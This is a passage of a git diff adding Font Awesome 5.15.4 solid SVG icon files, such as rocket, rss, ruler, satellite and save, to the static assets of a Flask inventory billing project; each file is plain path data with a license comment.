d="M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rocket.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rocket.svg new file mode 100644 index 00000000..d1888f4e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rocket.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/route.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/route.svg new file mode 100644 index 00000000..9a139953 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/route.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rss-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rss-square.svg new file mode 100644 index 00000000..869b59f8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rss-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rss.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rss.svg new file mode 100644 index 00000000..606aa897 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rss.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruble-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruble-sign.svg new file mode 100644 index 00000000..80d04b19 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruble-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-combined.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-combined.svg new file mode 100644 index 00000000..3b0f0d58 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-combined.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-horizontal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-horizontal.svg new file mode 100644 index 00000000..70f78f51 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-horizontal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-vertical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-vertical.svg new file mode 100644 index 00000000..80693754 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler-vertical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler.svg new file mode 100644 index 00000000..3e06310c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ruler.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/running.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/running.svg new file mode 100644 index 00000000..112b874f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/running.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 416 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rupee-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rupee-sign.svg new file mode 100644 index 00000000..85ea4beb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rupee-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sad-cry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sad-cry.svg new file mode 100644 index 00000000..eddaa823 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sad-cry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sad-tear.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sad-tear.svg new file mode 100644 index 00000000..9dfa5dae --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sad-tear.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/satellite-dish.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/satellite-dish.svg new file mode 100644 index 00000000..f85031ea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/satellite-dish.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/satellite.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/satellite.svg new file mode 100644 index 00000000..dddddf11 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/satellite.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/save.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/save.svg new file mode 100644 index 00000000..ef9e6894 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/save.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/school.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/school.svg new file mode 100644 index 00000000..c292d6c9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/school.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/screwdriver.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/screwdriver.svg new file mode 100644 index 00000000..a3104cf1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/screwdriver.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/scroll.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/scroll.svg new file mode 100644 index 00000000..7581632c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/scroll.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sd-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sd-card.svg new file mode 100644 index 00000000..dcf353a5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sd-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-dollar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-dollar.svg new file mode 100644 index 00000000..36002499 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/search-dollar.svg @@ -0,0 +1 @@ +<svg 